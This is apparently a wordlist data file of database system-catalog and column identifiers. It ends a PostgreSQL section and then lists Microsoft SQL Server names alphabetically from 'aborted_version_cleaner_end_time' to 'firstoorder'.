+stxdinherit +stxdmcv +stxdndistinct +stxexprs +stxkeys +stxkind +stxname +stxnamespace +stxoid +stxowner +stxrelid +stxstattarget +subbinary +subconninfo +subdbid +subdisableonerr +subenabled +sub_feature_id +sub_feature_name +subid +subname +suborigin +subowner +subpasswordrequired +subpublications +subrunasowner +subskiplsn +subslotname +substream +subsynccommit +subtwophasestate +superuser +supported_value +sync_error_count +sync_priority +sync_state +sys_name +table_catalog +table_constraints +table_name +tablename +tableoid +tableowner +table_privileges +tables +table_schema +tablespace +tablespaces_streamed +tablespaces_total +table_type +temp_bytes +temp_files +temporary +tgargs +tgattr +tgconstraint +tgconstrindid +tgconstrrelid +tgdeferrable +tgenabled +tgfoid +tginitdeferred +tgisinternal +tgname +tgnargs +tgnewtable +tgoldtable +tgparentid +tgqual +tgrelid +tgtype +tidx_blks_hit +tidx_blks_read +tmplinit +tmpllexize +tmplname +tmplnamespace +toast_blks_hit +toast_blks_read +to_sql_specific_catalog +to_sql_specific_name +to_sql_specific_schema +total_bytes +total_nblocks +total_time +total_txns +transaction +transactionid +transforms +transform_type +trffromsql +trflang +trftosql +trftype +trigger_catalog +triggered_update_columns +trigger_name +triggers +trigger_schema +truncates +trusted +tup_deleted +tup_fetched +tup_inserted +tuple +tuples_done +tuples_excluded +tuples_processed +tuples_total +tup_returned +tup_updated +two_phase +typacl +typalign +typanalyze +typarray +typbasetype +typbyval +typcategory +typcollation +typdefault +typdefaultbin +typdelim +type +typelem +type_udt_catalog +type_udt_name +type_udt_schema +typinput +typisdefined +typispreferred +typlen +typmodin +typmodout +typname +typnamespace +typndims +typnotnull +typoutput +typowner +typreceive +typrelid +typsend +typstorage +typsubscript +typtype +typtypmod +udt_catalog +udt_name +udt_privileges +udt_schema +umid +umoptions +umserver +umuser +unique_constraint_catalog +unique_constraint_name +unique_constraint_schema +unit +update_rule +usage_privileges +usebypassrls +useconfig +usecreatedb +used_bytes +usename +user_defined_type_catalog +user_defined_type_category +user_defined_type_name +user_defined_types +user_defined_type_schema +userepl +user_mapping_options +user_mappings +user_name +usesuper +usesysid +utc_offset +vacuum_count +valuntil +vartype +version +view_catalog +view_column_usage +view_definition +view_name +viewname +viewowner +view_routine_usage +views +view_schema +view_table_usage +virtualtransaction +virtualxid +wait_event +wait_event_type +waitstart +wal_buffers_full +wal_bytes +wal_distance +wal_fpi +wal_records +wal_status +wal_sync +wal_sync_time +wal_write +wal_write_time +with_check +with_hierarchy +writebacks +writeback_time +write_lag +write_lsn +writes +write_time +written_lsn +xact_commit +xact_rollback +xact_start +xmax +xmin + +[Microsoft SQL Server] +aborted_version_cleaner_end_time +aborted_version_cleaner_start_time +abort_state +accdate +acceptable_cursor_options +access_count +access_date +access_type +acquire_time +actadd +action +action_id +action_in_log +action_name +action_package_guid +actions +actions_discovered +action_sequence +actions_scheduled +action_type +activation_procedure +active +active_backups +active_count +active_fts_index_count +active_ios_count +active_loads +active_log_size +active_log_size_mb +active_memgrant_count +active_memgrant_kb +active_parallel_thread_count +active_processes_count +active_request_count +active_requests +active_restores +active_scan_time_in_ms +active_tasks_count +active_vlf_count +active_worker_address +active_worker_count +active_workers_count +actmod +actual_read_row_count +actual_state +actual_state_additional_info +actual_state_desc +additional_information +additional_parameters +additional_props +addr +address +adjacent_broker_address +affected_rows +affinity +affinity_count +affinity_type +affinity_type_desc +after_begin +after_end +after_links +after_time +ag_db_id +ag_db_name +age +age_contents +age_content_version +age_issue_time +agent_exe +age_row_number +aggregated_record_length_in_bytes +ag_group_id +ag_id +ag_name +ag_remote_replica_id +ag_resource_id +alert_id +alert_instance_id +alert_name +algorithm +algorithm_desc +algorithm_id +algorithm_tag +alias +all_columns +all_objects +allocated_bytes +allocated_extent_page_count +allocated_memory +allocated_page_file_id +allocated_page_iam_file_id +allocated_page_iam_page_id +allocated_page_page_id +allocation_count +allocations_kb +allocations_kb_per_sec +allocation_unit_id +allocation_units +allocation_unit_type +allocation_unit_type_desc +allocator_stack_address +allocpolicy +alloc_unit_id +AllocUnitId +AllocUnitName +alloc_unit_type_desc +allow_enclave_computations +allow_encrypted_value_modifications +allownulls +allow_page_locks +allow_row_locks +allows_mixed_content +allows_nullable_keys +all_parameters +all_sql_modules +all_views +altuid +ansi_defaults +ansi_null_dflt_on +ansi_nulls +ansi_padding +ansi_position +ansi_warnings +appdomain_address +appdomain_id +appdomain_name +application_name +ApplicationName +app_name +arithabort +artcache_article_address +artcache_db_address +artcache_schema_address +artcache_table_address +artcmdtype +artfilter +artgendel2cmd +artgendelcmd +artgenins2cmd +artgeninscmd +artgenupdcmd +artid +artobjid +artpartialupdcmd +artpubid +artstatus +arttype +artupdtxtcmd +AS_LOCATOR +asn +assemblies +assembly_class +assembly_files +assembly_id +assembly_method +assembly_modules +assembly_qualified_name +assembly_qualified_type_name +assembly_references +assembly_types +associated_object_id +asymmetric_key_export +asymmetric_key_id +asymmetric_key_import +asymmetric_key_persistance +asymmetric_keys +asymmetric_key_support +attested_by +attribute +audit_action_id +audit_action_name +audited_principal_id +audited_result +audit_file_offset +audit_file_path +audit_file_size +audit_guid +audit_id +audit_schema_version +audit_spec_id +auid +authenticating_database_id +authentication_method +authentication_type +authentication_type_desc +authority_name +authorization_realm +authorized_spatial_reference_id +authrealm +auth_scheme +authtype +auto_created +auto_drop +automated_backup_preference +automated_backup_preference_desc +auto_population_count +autoval +availability_databases_cluster +availability_group_listener_ip_addresses +availability_group_listeners +availability_groups +availability_groups_cluster +availability_mode +availability_mode_desc +availability_read_only_routing_lists +availability_replicas +available_bytes +available_commit_limit_kb +available_memory +available_memory_kb +available_page_file_kb +available_physical_memory_kb +average_range_rows +average_rows +average_time_between_uses +average_version_chain_traversed +avg_bind_cpu_time +avg_bind_duration +avg_chain_length +avg_clr_time +avg_compile_duration +avg_compile_memory_kb +avg_cpu_percent +avg_cpu_time +avg_dop +avg_duration +avgexectime +avg_fragmentation_in_percent +avg_fragment_size_in_pages +avg_load_balance +avg_log_bytes_used +avg_logical_io_reads +avg_logical_io_writes +avg_num_physical_io_reads +avg_optimize_cpu_time +avg_optimize_duration +avg_page_server_io_reads +avg_page_space_used_in_percent +avg_physical_io_reads +avg_query_max_used_memory +avg_query_wait_time_ms +avg_record_size_in_bytes +avg_rowcount +avg_rows +avg_system_impact +avg_tempdb_space_used +avg_time +avg_total_system_cost +avg_total_user_cost +avg_user_impact +avg_wait_time +awe_allocated_kb +backoffs +backup_devices +backup_finish_date +backup_lsn +backuplsn +backup_metadata_store +backup_metadata_uuid +backup_path +backup_priority +backup_size +backup_start_date +backup_storage_consumption_mb +backup_storage_redundancy +backup_type +base_address +base_generation +base_id +base_object_name +base_schema_ver +base_xml_component_id +basic_features +batch_count +batch_id +batchsize +batch_sql_handle +batchtext +batch_timestamp +before_begin +before_end +before_links +before_time +begin_checkpoint_id +begin_lsn +begin_time +begin_tsn +begin_update_lsn +begin_version +begin_xact_lsn +bigint +BigintData1 +BigintData2 +binary +BinaryData +binarydefinition +binary_message_body +bit +bitlength +bitpos +blob_container_id +blob_container_type +blob_container_url +blob_id +blocked +blocked_event_fire_time +blocked_task_count +block_id +blocking_exec_context_id +blocking_session_id +blocking_task_address +blocks_from_disk +blocks_from_LC +blocks_from_LogPool +block_size +bloom_filter_data_ptr +bloom_filter_md +body_size +boost_count +bootstrap_recovery_lsn +bootstrap_root_file_guid +boot_time_secs +boundary_id +boundary_value_on_right +bounding_box_xmax +bounding_box_xmin +bounding_box_ymax +bounding_box_ymin +brick_config_state +brick_guid +brick_id +brickid +brick_state +brkrinst +broker_address +broker_instance +bsn +bstat +bucket_count +bucketid +bucket_no +buckets +buckets_avg_length +buckets_avg_scan_hit_length +buckets_avg_scan_miss_length +buckets_count +buckets_in_use_count +buckets_max_length +buckets_max_length_ever +buckets_min_length +buffer_count +buffer_full_count +buffer_policy_desc +buffer_policy_flags +buffer_processed_count +buffers_available +buffer_size +built_substitute +bulkadmin +bXVTDocidUseBaseT +bytes_of_large_data_serialized +BytesOnDisk +bytes_per_sec +bytes_processed +BytesRead +bytes_serialized +bytes_to_end_of_log +bytes_used +bytes_written +BytesWritten +C1_count +C1_time +C2_count +C2_time +C3_count +C3_time +cache +cache_address +cache_available +cache_buffer +cache_capacity +cached_time +cache_hit +cache_memory_kb +cache_misses +cacheobjtype +cache_size +cache_used +can_commit +capabilities +capabilities_desc +cap_cpu_percent +cap_percentage_resource +capture_policy_execution_count +capture_policy_stale_threshold_hours +capture_policy_total_compile_cpu_time_ms +capture_policy_total_execution_cpu_time_ms +catalog +catalog_collation_type +catalog_collation_type_desc +catalog_id +CATALOG_NAME +category +category_id +ccTabname +ccTabschema +cdefault +cells_per_object +cert +certificate_id +certificates +cert_serial_number +changedate +change_tracking_databases +change_tracking_state +change_tracking_state_desc +change_tracking_tables +char +CHARACTER_MAXIMUM_LENGTH +CHARACTER_OCTET_LENGTH +CHARACTER_SET_CATALOG +CHARACTER_SET_NAME +CHARACTER_SET_SCHEMA +CHECK_CLAUSE +check_constraints +CHECK_CONSTRAINTS +CHECK_OPTION +checkpoint_file_id +checkpoint_id +checkpoint_lsn +checkpoint_pair_file_id +checkpoints_closed +checkpoint_timestamp +checksum +chk +cid +class +class_desc +class_id +classifier_function_id +classifier_id +classifier_name +classifier_type +classifier_value +class_type +class_type_desc +clause_number +cleanup_version +clear_port +clerk_name +client_app_name +client_correlation_id +client_id +client_interface_name +client_ip +client_net_address +client_process_id +ClientProcessID +client_tcp_port +client_thread_id +client_tls_version +client_version +clock_frequency +clock_hand +clock_status +cloneid +clone_state +clone_state_desc +closed_age +closed_checkpoint_epoch_value +closed_time +close_time +closing_checkpoint_id +clr_name +clustering_quality +cluster_name +cluster_nodename +cluster_owner_node +cluster_type +cluster_type_desc +cmd +cmdexec_success_code +cmds_in_tran +cmdTypeDel +cmdTypeIns +cmdTypePartialUpd +cmdTypeUpd +cmprlevel +cmptlevel +cntrltype +cntr_type +cntr_value +cold_count +colguid +colid +collation +COLLATION_CATALOG +collationcompatible +collation_id +collationid +collation_name +COLLATION_NAME +COLLATION_SCHEMA +collection_start_time +collisions +colName +colorder +colstat +column_characteristics_flags +column_count +COLUMN_DEFAULT +COLUMN_DOMAIN_USAGE +column_encryption_key_database_name +column_encryption_key_id +column_encryption_keys +column_encryption_key_values +column_id +columnid +column_master_key_id +column_master_keys +column_name +COLUMN_NAME +column_ordinal +ColumnPermissions +column_precision +COLUMN_PRIVILEGES +columns +COLUMNS +column_scale +column_size +columnstore_delete_buffer_state +columnstore_delete_buffer_state_desc +column_store_dictionaries +column_store_order_ordinal +column_store_row_groups +column_store_segments +column_type +column_type_usages +column_usage +column_value +column_value_pull_in_row_count +column_value_push_off_row_count +column_xml_schema_collection_usages +command +Command +command2 +command_count +command_desc +comment +commit_csn +commit_dependency_count +commit_dependency_total_attempt_count +commit_lbn +commit_lsn +commit_LSN +commit_sequence_num +committed_kb +committed_target_kb +commit_time +commit_timestamp +commit_ts +company +comparison_operator +compatibility_level +compensated_trans +comp_exec_ctxt_address +compid +compile_count +compile_memory_kb +completed_count +completed_ios_count +completed_ios_in_bytes +completed_range_count +completed_trans +completion_time +completion_type +completion_type_description +component +component_id +component_instance_id +component_name +compositor +compositor_desc +comp_range_address +compressed +compressed_backup_size +compressed_page_count +compressed_reason +compression_algorithm +compression_delay +computed_columns +compute_node_id +compute_pool_id +compute_units +concat_null_yields_null +concurrency +concurrency_slots_used +condition +condition_value +config +configuration_id +configuration_level +configurations +connected_state +connected_state_desc +connection_auth +connection_auth_desc +connection_id +connection_options +connections +connect_time +connect_timeout +connecttimeout +constid +CONSTRAINT_CATALOG +constraint_column_id +CONSTRAINT_COLUMN_USAGE +CONSTRAINT_NAME +constraint_object_id +CONSTRAINT_SCHEMA +CONSTRAINT_TABLE_USAGE +CONSTRAINT_TYPE +consumed_block_count +consumer_id +consumer_name +contained_availability_group_id +container_guid +container_id +container_path +container_type +container_type_desc +containing_group_name +containment +containment_desc +content +contention_factor +Context +context_info +context_settings_id +context_switch_count +context_switches_count +contract +conversation_endpoints +conversation_group_id +conversation_groups +conversation_handle +conversation_id +conversation_priorities +convgroup +cores_per_socket +correlation_process_id +correlation_thread_id +cost +count +count_compiles +counter +counter_category +counter_name +counter_value +count_executions +count_of_allocations +covering_action_name +covering_parent_action_name +covering_permission_name +cprelid +cpu +CPU +cpu_affinity_group +cpu_affinity_mask +cpu_busy +cpu_count +cpu_id +cpu_mask +cpu_rate +cpu_ticks +cpu_time +cpu_time_ms +cpu_usage +crawl_end_date +crawl_memory_address +crawl_start_date +crawl_type +crawl_type_desc +crdate +created +CREATED +create_date +createdate +created_by +create_disposition +created_time +create_lsn +createlsn +create_time +creation_client_process_id +creation_client_thread_id +creation_irp_id +creation_options +creation_request_id +creation_stack_address +creation_time +creator_sid +credential_id +credential_identity +credentials +crend +crerrors +crrows +crschver +crstart +crtsnext +crtype +crypto +cryptographic_provider_algid +cryptographic_provider_guid +cryptographic_providers +crypt_properties +crypt_property +crypt_type +crypt_type_desc +csid +csn +csw_cnt +ctext +current_aborted_transaction_count +current_cache_buffer +current_checkpoint_id +current_checkpoint_segment_count +current_column_encryption_key_count +current_configuration_commit_start_time_utc +current_cost +current_enclave_session_count +current_item_duration +current_lsn +current_memory_size_kb +current_principal +current_queue_depth +current_read_version +current_size_in_kb +current_spid +current_state +current_storage_size_mb +current_tasks_count +current_utc_offset +current_value +current_vlf_sequence_number +current_vlf_size_mb +current_workers_count +current_workitem_type +current_workitem_type_desc +cursor_handl +cursor_handle +cursor_id +cursor_name +cursor_rows +cursor_scope +cycle_id +CYCLE_OPTION +cycles_used +data +dataaccess +database +database_address +database_audit_specification_details +database_audit_specifications +database_automatic_tuning_mode +database_automatic_tuning_options +database_backup_lsn +database_credentials +database_directory_name +database_files +database_filestream_options +database_guid +database_id +DatabaseID +database_ledger_blocks +database_ledger_transactions +database_mirroring +database_mirroring_endpoints +database_mirroring_witnesses +database_name +DatabaseName +database_permissions +database_principal_id +database_principal_name +database_principals +database_query_store_options +database_recovery_status +database_role_members +databases +database_scoped_configurations +database_scoped_credentials +database_size_bytes +database_specification_id +database_state +database_state_desc +database_transaction_begin_lsn +database_transaction_begin_time +database_transaction_commit_lsn +database_transaction_last_lsn +database_transaction_last_rollback_lsn +database_transaction_log_bytes_reserved +database_transaction_log_bytes_reserved_system +database_transaction_log_bytes_used +database_transaction_log_bytes_used_system +database_transaction_log_record_count +database_transaction_most_recent_savepoint_lsn +database_transaction_next_undo_lsn +database_transaction_replicate_record_count +database_transaction_state +database_transaction_status +database_transaction_status2 +database_transaction_type +database_type +database_user_name +database_version +data_clone_id +data_compression +data_compression_desc +dataloss +data_pages +data_pool_id +data_pool_node_name +data_processed_mb +data_ptr +data_retention_period +data_retention_period_unit +data_retention_period_unit_desc +data_sensitivity_information +data_size +datasize +data_source +datasource +data_source_id +dataspace +data_space_id +data_spaces +DATA_TYPE +data_type_sql +date +date_created +date_first +datefirst +date_format +dateformat +date_modified +datetime +datetime2 +datetimeoffset +DATETIME_PRECISION +days +dbcreator +db_failover +dbfragid +db_id +dbid +DbId +dbidexec +db_ledger_blocks +db_ledger_transactions +db_len_in_bytes +db_name +dbname +DBUserName +db_ver +ddl_step +deadlock_monitor_serial_number +deadlock_priority +debug +decimal +DECLARED_DATA_TYPE +DECLARED_NUMERIC_PRECISION +DECLARED_NUMERIC_SCALE +DEFAULT_CHARACTER_SET_CATALOG +DEFAULT_CHARACTER_SET_NAME +DEFAULT_CHARACTER_SET_SCHEMA +default_constraints +default_database +default_database_name +default_fulltext_language_lcid +default_fulltext_language_name +default_language_lcid +default_language_name +default_logon_domain +default_memory_clerk_address +default_namespace +default_object_id +default_result_schema +default_result_schema_desc +default_schema_id +default_schema_name +default_value +definition +deflanguage +defval +degree_of_parallelism +delayed_durability +delayed_durability_desc +delete_access +delete_buffer_scan_count +deleted_rows +delete_level +delete_lsn +delete_referential_action +delete_referential_action_desc +DELETE_RULE +delta_pages +delta_quality +delta_store_hobt_id +deltrig +denylogin +depclass +depdbid +dependencies_failed +dependencies_taken +dependency +dependent_1_address +dependent_2_address +dependent_3_address +dependent_4_address +dependent_5_address +dependent_6_address +dependent_7_address +dependent_8_address +depid +depnumber +depsiteid +depsubid +deptype +deriv +derivation +derivation_desc +description +Description +description_id +desired_state +desired_state_desc +destination_createparams +destination_data_spaces +destination_dbms +destination_distribution_id +destination_id +destination_info +destination_length +destination_nullable +destination_precision +destination_scale +destination_type +destination_version +details +device_logical_id +device_memory_bytes +device_physical_id +device_provider +device_ready +device_to_host_bytes +device_type +dev_name +dflt +dfltdb +dfltdm +dfltns +dfltsch +diag_address +diagid +diag_status +dialog_timer +dictionary_id +diffbaseguid +diffbaselsn +diffbaseseclsn +diffbasetime +differential_base_guid +differential_base_lsn +differential_base_time +diff_map_page_id +diff_status +diff_status_desc +directory_name +disallow_namespaces +discriminator +diskadmin +disk_ios_count +disk_read_consumer_id +dispatcher_count +dispatcher_ideal_count +dispatcher_pool_address +dispatcher_timeout_ms +dispatcher_waiting_count +display_term +dist +dist_client_id +distinct_range_rows +dist_request_id +distributed_statement_id +distribution_desc +distribution_id +distribution_ordinal +distribution_policy +distribution_policy_desc +distribution_type +dist_statement_hash +dist_statement_id +dlevel +dlgerr +dlgid +dlgopened +dlgtimer +dll_name +dll_path +dm_audit_actions +dm_audit_class_type_map +dm_broker_activated_tasks +dm_broker_connections +dm_broker_forwarded_messages +dm_broker_queue_monitors +dm_cache_hit_stats +dm_cache_size +dm_cache_stats +dm_cdc_errors +dm_cdc_log_scan_sessions +dm_clr_appdomains +dm_clr_loaded_assemblies +dm_clr_properties +dm_clr_tasks +dm_cluster_endpoints +dm_column_encryption_enclave +dm_column_encryption_enclave_operation_stats +dm_column_store_object_pool +dm_cryptographic_provider_algorithms +dm_cryptographic_provider_keys +dm_cryptographic_provider_properties +dm_cryptographic_provider_sessions +dm_database_encryption_keys +dm_db_column_store_row_group_operational_stats +dm_db_column_store_row_group_physical_stats +dm_db_database_page_allocations +dm_db_data_pool_nodes +dm_db_data_pools +dm_db_external_language_stats +dm_db_external_script_execution_stats +dm_db_file_space_usage +dm_db_fts_index_physical_stats +dm_db_incremental_stats_properties +dm_db_index_operational_stats +dm_db_index_physical_stats +dm_db_index_usage_stats +dm_db_log_info +dm_db_log_space_usage +dm_db_log_stats +dm_db_mirroring_auto_page_repair +dm_db_mirroring_connections +dm_db_mirroring_past_actions +dm_db_missing_index_columns +dm_db_missing_index_details +dm_db_missing_index_groups +dm_db_missing_index_group_stats +dm_db_missing_index_group_stats_query +dm_db_objects_disabled_on_compatibility_level_change +dm_db_page_info +dm_db_partition_stats +dm_db_persisted_sku_features +dm_db_rda_migration_status +dm_db_rda_schema_update_status +dm_db_script_level +dm_db_session_space_usage +dm_db_stats_histogram +dm_db_stats_properties +dm_db_stats_properties_internal +dm_db_storage_pool_nodes +dm_db_storage_pools +dm_db_task_space_usage +dm_db_tuning_recommendations +dm_db_uncontained_entities +dm_db_xtp_checkpoint_files +dm_db_xtp_checkpoint_internals +dm_db_xtp_checkpoint_stats +dm_db_xtp_gc_cycle_stats +dm_db_xtp_hash_index_stats +dm_db_xtp_index_stats +dm_db_xtp_memory_consumers +dm_db_xtp_nonclustered_index_stats +dm_db_xtp_object_stats +dm_db_xtp_table_memory_stats +dm_db_xtp_transactions +dm_dist_requests +dm_distributed_exchange_stats +dm_dw_databases +dm_dw_locks +dm_dw_pit_databases +dm_dw_quality_clustering +dm_dw_quality_delta +dm_dw_quality_index +dm_dw_quality_row_group +dm_dw_resource_manager_abort_cache +dm_dw_resource_manager_active_tran +dm_dw_tran_manager_abort_cache +dm_dw_tran_manager_active_cache +dm_dw_tran_manager_commit_cache +dm_exec_background_job_queue +dm_exec_background_job_queue_stats +dm_exec_cached_plan_dependent_objects +dm_exec_cached_plans +dm_exec_compute_node_errors +dm_exec_compute_nodes +dm_exec_compute_node_status +dm_exec_compute_pools +dm_exec_connections +dm_exec_cursors +dm_exec_describe_first_result_set +dm_exec_describe_first_result_set_for_object +dm_exec_distributed_requests +dm_exec_distributed_request_steps +dm_exec_distributed_sql_requests +dm_exec_dms_services +dm_exec_dms_workers +dm_exec_external_operations +dm_exec_external_work +dm_exec_function_stats +dm_exec_input_buffer +dm_exec_plan_attributes +dm_exec_procedure_stats +dm_exec_query_memory_grants +dm_exec_query_optimizer_info +dm_exec_query_optimizer_memory_gateways +dm_exec_query_parallel_workers +dm_exec_query_plan +dm_exec_query_plan_stats +dm_exec_query_profiles +dm_exec_query_resource_semaphores +dm_exec_query_statistics_xml +dm_exec_query_stats +dm_exec_query_transformation_stats +dm_exec_requests +dm_exec_requests_history +dm_exec_sessions +dm_exec_session_wait_stats +dm_exec_sql_text +dm_exec_text_query_plan +dm_exec_trigger_stats +dm_exec_valid_use_hints +dm_exec_xml_handles +dm_external_authentication +dm_external_data_processed +dm_external_script_execution_stats +dm_external_script_requests +dm_external_script_resource_usage_stats +dm_filestream_file_io_handles +dm_filestream_file_io_requests +dm_filestream_non_transacted_handles +dm_fts_active_catalogs +dm_fts_fdhosts +dm_fts_index_keywords +dm_fts_index_keywords_by_document +dm_fts_index_keywords_by_property +dm_fts_index_keywords_position_by_document +dm_fts_index_population +dm_fts_memory_buffers +dm_fts_memory_pools +dm_fts_outstanding_batches +dm_fts_parser +dm_fts_population_ranges +dm_fts_semantic_similarity_population +dm_hadr_ag_threads +dm_hadr_automatic_seeding +dm_hadr_auto_page_repair +dm_hadr_availability_group_states +dm_hadr_availability_replica_cluster_nodes +dm_hadr_availability_replica_cluster_states +dm_hadr_availability_replica_states +dm_hadr_cached_database_replica_states +dm_hadr_cached_replica_states +dm_hadr_cluster +dm_hadr_cluster_members +dm_hadr_cluster_networks +dm_hadr_database_replica_cluster_states +dm_hadr_database_replica_states +dm_hadr_db_threads +dm_hadr_instance_node_map +dm_hadr_name_id_map +dm_hadr_physical_seeding_stats +dm_hpc_device_stats +dm_hpc_thread_proxy_stats +dm_io_backup_tapes +dm_io_cluster_shared_drives +dm_io_cluster_valid_path_names +dm_io_pending_io_requests +dm_io_virtual_file_stats +dm_logconsumer_cachebufferrefs +dm_logconsumer_privatecachebuffers +dm_logpool_consumers +dm_logpool_hashentries +dm_logpoolmgr_freepools +dm_logpoolmgr_respoolsize +dm_logpoolmgr_stats +dm_logpool_sharedcachebuffers +dm_logpool_stats +dm_os_buffer_descriptors +dm_os_buffer_pool_extension_configuration +dm_os_child_instances +dm_os_cluster_nodes +dm_os_cluster_properties +dm_os_dispatcher_pools +dm_os_dispatchers +dm_os_enumerate_filesystem +dm_os_enumerate_fixed_drives +dm_os_file_exists +dm_os_host_info +dm_os_hosts +dm_os_job_object +dm_os_latch_stats +dm_os_loaded_modules +dm_os_memory_allocations +dm_os_memory_broker_clerks +dm_os_memory_brokers +dm_os_memory_cache_clock_hands +dm_os_memory_cache_counters +dm_os_memory_cache_entries +dm_os_memory_cache_hash_tables +dm_os_memory_clerks +dm_os_memory_node_access_stats +dm_os_memory_nodes +dm_os_memory_objects +dm_os_memory_pools +dm_os_nodes +dm_os_performance_counters +dm_os_process_memory +dm_os_ring_buffers +dm_os_schedulers +dm_os_server_diagnostics_log_configurations +dm_os_spinlock_stats +dm_os_stacks +dm_os_sublatches +dm_os_sys_info +dm_os_sys_memory +dm_os_tasks +dm_os_threads +dm_os_virtual_address_dump +dm_os_volume_stats +dm_os_waiting_tasks +dm_os_wait_stats +dm_os_windows_info +dm_os_worker_local_storage +dm_os_workers +dm_pal_cpu_stats +dm_pal_disk_stats +dm_pal_net_stats +dm_pal_processes +dm_pal_spinlock_stats +dm_pal_vm_stats +dm_pal_wait_stats +dm_qn_subscriptions +dm_repl_articles +dm_repl_schemas +dm_repl_tranhash +dm_repl_traninfo +dm_request_phases +dm_resource_governor_configuration +dm_resource_governor_external_resource_pool_affinity +dm_resource_governor_external_resource_pools +dm_resource_governor_resource_pool_affinity +dm_resource_governor_resource_pools +dm_resource_governor_resource_pool_volumes +dm_resource_governor_workload_groups +dms_core_id +dms_cpid +dm_server_audit_status +dm_server_memory_dumps +dm_server_registry +dm_server_services +dm_sql_referenced_entities +dm_sql_referencing_entities +dms_step_index +dm_tcp_listener_states +dm_toad_tuning_zones +dm_toad_work_item_handlers +dm_toad_work_items +dm_tran_aborted_transactions +dm_tran_active_snapshot_database_transactions +dm_tran_active_transactions +dm_tran_commit_table +dm_tran_current_snapshot +dm_tran_current_transaction +dm_tran_database_transactions +dm_tran_global_recovery_transactions +dm_tran_global_transactions +dm_tran_global_transactions_enlistments +dm_tran_global_transactions_log +dm_tran_locks +dm_tran_persistent_version_store +dm_tran_persistent_version_store_stats +dm_tran_session_transactions +dm_tran_top_version_generators +dm_tran_transactions_snapshot +dm_tran_version_store +dm_tran_version_store_space_usage +dm_xcs_enumerate_blobdirectory +dm_xe_map_values +dm_xe_object_columns +dm_xe_objects +dm_xe_packages +dm_xe_session_event_actions +dm_xe_session_events +dm_xe_session_object_columns +dm_xe_sessions +dm_xe_session_targets +dm_xtp_gc_queue_stats +dm_xtp_gc_stats +dm_xtp_system_memory_consumers +dm_xtp_threads +dm_xtp_transaction_recent_rows +dm_xtp_transaction_stats +dns_name +doc_failed +document_count +document_id +document_processed_count +document_type +domain +DOMAIN_CATALOG +DOMAIN_CONSTRAINTS +DOMAIN_DEFAULT +DOMAIN_NAME +DOMAINS +DOMAIN_SCHEMA +dop +dormant_duration +dormant_duration_ms +downgrade_start_level +downgrade_target_level +dpages +dpub +DriveName +drive_type +drive_type_desc +drop_lsn +droplsn +dropped +dropped_buffer_count +dropped_event_count +dropped_lob_column_state +drop_table_memory_attempts +drop_table_memory_failures +ds_hobtid +dtc_isolation_level +dtc_state +dtc_status +dtc_support +DTD_IDENTIFIER +durability +durability_desc +duration +Duration +duration_milliseconds +ec_address +ecid +edge_constraint_clauses +edge_constraints +effective_cap_percentage_resource +effective_max_dop +effective_min_percentage_resource +effective_request_max_resource_grant_percent +effective_request_min_resource_grant_percent +elapsed_avg_ms +elapsed_max_ms +elapsed_time +elapsed_time_ms +elapsed_time_seconds +empty_bucket_count +empty_scan_count +enabled +encalg +encoding +encoding_type +encrtype +encrypted +encrypted_value +encryption_algorithm +encryption_algorithm_desc +encryption_algorithm_name +encryption_scan_modify_date +encryption_scan_state +encryption_scan_state_desc +encryption_state +encryption_state_desc +encryption_status +encryption_status_desc +encryption_type +encryption_type_desc +encrypt_option +encryptor_thumbprint +encryptor_type +end_checkpoint_id +end_column_id +end_compile_time +end_dialog_sequence +enddlgseq +ended_count +end_log_block_id +end_lsn +end_of_log_lsn +end_of_scan_count +endpoint +endpoint_id +endpoints +endpoint_url +endpoint_webmethods +end_quantum +end_time +EndTime +end_time_utc +end_tsn +end_xact_lsn +engine_version +enlist_count +enlistment_state +enqtime +enqueued_count +enqueued_tasks_count +enqueue_failed_duplicate_count +enqueue_failed_full_count +enqueue_time +entity_id +entity_name +entries_count +entries_in_use_count +entry_address +entry_count +entry_data +entry_data_address +entry_scan_direction +entry_time +enum +environ +environment_variables +epoch +equality_columns +equal_rows +error +Error +error_code +error_count +error_id +error_message +error_number +error_severity +error_state +error_timestamp +error_type +error_type_desc +estimated_completion_time +estimated_read_row_count +estimated_rows +estimate_row_count +estimate_time_complete_utc +etag +event +EventClass +event_count +event_data +event_entry_point +event_group_type +event_group_type_desc +event_handle +event_id +eventid +event_info +event_message +event_name +EventNotificationErrorsQueue +event_notification_event_types +event_notifications +event_package_guid +event_predicate +event_retention_mode +event_retention_mode_desc +events +EventSequence +event_session_address +event_session_id +EventSubClass +event_time +event_type +exception_address +exception_num +exception_severity +exclusive_access_count +exec_context_id +execute_action_duration +execute_action_initiated_by +execute_action_initiated_time +execute_action_start_time +execute_as +execute_as_principal_id +executing_managed_code +execution_count +execution_duration_ms +execution_id +execution_type +execution_type_desc +expansion_type +expiry_date +extended_procedures +extended_properties +extensibility_ctxt_address +extent_file_id +extent_page_id +external_benefit +external_data_sources +external_file_formats +external_job_streams +EXTERNAL_LANGUAGE +external_language_files +external_language_id +external_languages +external_libraries +external_libraries_installed +external_libraries_installed_table +external_library_files +external_library_id +external_library_setup_errors +external_library_setup_failures +EXTERNAL_NAME +external_pool_id +external_script_request_id +external_stream_columns +external_streaming_jobs +external_streams +external_table_columns +external_tables +external_user_name +extractor +facet_id +fade_end_time +failed_giveup_count +failed_lock_count +failed_other_count +failed_sessions_count +failed_to_create_worker +failover_mode +failover_mode_desc +failure_code +failure_condition_level +FailureConditionLevel +failure_message +failure_state +failure_state_desc +failure_time_utc +family_guid +familyid +fanout +farbrkrinst +far_broker_instance +farprincid +far_principal_id +far_service +farsvc +fcb_id +fcompensated +fcomplete +fdhost_id +fdhost_name +fdhost_process_id +fdhost_type +feature_id +feature_name +feature_type_name +federated_service_account +federatedxact_address +fetch_buffer_size +fetch_buffer_start +fetch_status +fgfragid +fgguid +fgid +fgidfs +fiber_address +fiber_context_address +fiber_data +field_terminator +file_context +file_exists +file_format_id +filegroup_guid +filegroup_id +filegroups +file_guid +fileguid +file_handle +FileHandle +file_id +fileid +FileId +file_is_a_directory +file_name +filename +FileName +filename_collation_id +filename_collation_name +file_object_type +file_object_type_desc +file_offset +file_or_directory_name +file_position +file_size_in_bytes +file_size_used_in_bytes +filestate +filestream_address +filestream_data_space_id +filestream_filegroup_id +filestream_guid +filestream_send_rate +filestream_transaction_id +file_system_type +filetables +filetable_system_defined_objects +file_type +filetype +file_type_desc +file_version +fillfact +fill_factor +filter_definition +filter_predicate +finitiator +fInReconcile +first +first_active_time +first_begin_cdc_lsn +first_begin_lsn +first_child +first_execution_time +FirstIAM +first_iam_page +first_lsn +firstoorder 